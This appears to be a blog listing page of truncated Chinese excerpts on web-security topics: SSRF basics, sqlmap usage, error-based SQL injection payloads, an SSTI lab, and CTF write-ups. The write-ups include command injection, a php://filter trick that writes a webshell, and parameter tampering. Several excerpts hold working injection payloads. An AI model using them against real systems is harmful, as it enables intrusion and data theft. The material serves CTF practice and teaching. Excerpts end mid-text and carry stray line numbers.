best_profile123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167import osimport reimport randomimport stringimport requestsfrom flask import ( Flask, ren ...
0x001SSRF前置课程NATSSRF
服务器伪造 是一种由攻击者形成服务器端发起的安全漏洞
NAT
网络地址转换 通过将一个外部IP地址和端口映射到更大的内部IP地址集来转换IP地址
0x002SSRF漏洞原理攻击的目标:
从外网无法访问的内部系统
形成的原因:
大部分是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制
从指定URL地址获取网页文本内容
加载指定地址的图片,下载
百度识图,给出一串URL就能识别出图片
SSRF漏洞利用:通过服务器A(SSRF服务器)访问A所在内网的其他服务器获取信息,进而利用SSRF实现其他漏洞利用。
利用file协议读取本地文件
对服务器所在内网,本地进行端口扫描,获取一些服务的banner信息
攻击运行在内网或本地的应用程序
对内网web应用进行指纹识别,识别企业内部的资产信息
攻击内外网的web应用,主要是使用HTTP GET请求就可以实现的攻击
0x003SSRF信息收集file伪协议伪协议
12345678910111213file:// 从文件系统中读取文件内容,如file:///etc ...
sqlmap使用
SQLmap一、目标1、指定url2、指定文件(批量检测)3、指定数据库/表/字段4、post请求5、cookie注入二、脱库1、获取数据库2、获取表3、获取字段4、获取字段类型5、获取值(数据)6、获取用户7、获取主机名8、搜索库、表、字段。9、正在执行的SQL语句三、WAF绕过三、其他
SQLmap是一款「自动化」SQL注入工具,kali自带。路径 /usr/share/sqlmap
打开终端,输入sqlmap,出现以下界面,就说明SQLmap「可用」。
SQLmap(常规)使用步骤1、检测「注入点」1sqlmap -u 'http://xx/?id=1'
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677python sqlmap.py -u &quo ...
0x008extractvalue报错注入(只显示32个字符)
3.使用extractvalue查询xml里面的内容
1?id=1' union select 1,extractvalue(doc,concat(0x7e,(select database()))),3 --+
1?id=1' and 1=select 1,extractvalue(doc,concat(0x7e,(select database()))),3 --+
查表名
1?id=1' union select 1,extractvalue(doc,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))),3 --+
查列名
1?id=1' union select 1,extractvalue(doc,concat(0x7e,(select group_concat(column_name) from in ...
这题考了无参数rce 伪协议读取
flag就在主目录下
/code里的源码
解释过滤了data://
有个parse_url($url)函数
检测url的host部分 是不是baidu.com
然后下面是无参
最终执行eval($code)
这里通过compress.zlib://伪协议进行文件读取
可以分解为:
compress.zlib:// → 这是 PHP 的流封装器,用于处理 zlib 压缩 的数据流(.gz 格式)。
data: → 这是 data URI scheme,可以内嵌数据而非从文件或网络读取,常用于嵌入 base64 数据。
你可以把它理解为:
“把 base64 编码的内联数据当成 gzip 文件读取”
但是这里我们不需要base64编码
怎么使host=baidu.com
1url=compress.zlib://data:@baidu.com/plain,...
这里通过compress.zlib://伪协议 …会被当做php代码执行
parse_url ...
靶场 重庆橙子科技ssti靶场
开启靶场命令sudo docker run -p 18022:22 -p 18080:80 -i -t mcc0624/flask_ssti:last bash -c ‘/etc/rc.local; /bin/bash’
0x03 Python flask变量及方法Flask变量规则通过向规则参数添加变量部分 可以动态构建URL。
1234567891011121314from flask import Flaskapp = Flask(__name__)@app.route("/benben/<name>")def ben(name): return "hello %s" % name@app.route('/int/<int:postID>')def id(postID): return "hello %d" % postID@app.route('/rev/<f ...
RceMe
这题只限制了payload为五字符以内
先传
1?com=ls /
得出flag目录
读取flag文件的话 通过nl命令
使用nl命令:nl是用于添加行号的命令,支持短路径通配符。
通配符匹配路径:/*匹配根目录下的所有文件,假设/flag是其中唯一可读的文件。
1payload:?com=nl /*
命令长度:n + l + 空格 + / + * → 共5个字符。
执行效果:列出根目录下所有文件的内容(带行号),若/flag存在且可读,其内容将被输出
ezGame很明显需要你得分高于2048(游戏高手可以选择自己慢慢玩QAQ)
查看源码 搜索score
1.req.open(“GET”, “flag.php?score=” + obj.score, true); // 打开 GET 请求,URL 里包含 score 参数
可以看出最后分数是会经过GET请求的进行flag.php?score=? 的访问进行验证
所以我们可以直接构造
1url/flag.php?score=2048
来得 ...
NSSCTF Round#30 小桃的PHP挑战
第一关
isset($_GET['one']) ✅ 为真
$str = '9'
$add = substr('9', 0, 1) → '9'
$add++ → '10'
strlen($add) = 2 > 1 → ✅ 条件成立
执行 $A = 1;,不会执行 echo
✅ 所以:**传 **?one=1&str=9**,会使$A=1
第二关先传一个two=1
🚫 黑名单限制:
禁止:;、空格、$、#、反引号、单双引号、星号、问号、尖括号、换行、^ 等等。
这里的$B=1 在 if 的 try 里
只要我们能进入if循环的try里即可
这里我们只需要注释一下就行 直接传 *comment=/或者//都可以
然后try里就会是
1eval('$B = 1;'./*.';echo $two;die();');
/ ...
php死亡exit()绕过需要绕过exit()的地方一般都是file_put_contents
大致有如下三种
123file_put_contents($filename,"<?php exit();".$content);file_put_contents($content,"<?php exit();".$content);file_put_contents($filename,$content . "\nxxxxxx");
tips:伪协议处理时会对过滤器urldecode一次;面对不可用的规则是报个Warning,然后跳过继续执行
第一种情况1file_put_contents($filename,"<?php exit();".$content);
base64编码绕过12filename=php://filter/convert.base64-decode/resource=shell.phpcontent=aPD9waHAgQGV2YWwoJF9QT1NUWydzaGV ...
polar bllbl_rce
发现尝试输入什么都会返回 no
目录扫描一下 这边用的御剑
发现了http://b03cb505-b6b0-4441-afa9-3394da78554d.www.polarctf.com:8090/admin/admin.php
访问后下载源码备份 查看源码
if (strpos($command, ‘bllbl’) === false)
这里发现我们输入的命令里 要有 bllbl 字符
那可以输入命令了 ls /;bllbl
cat /flag;bllbl











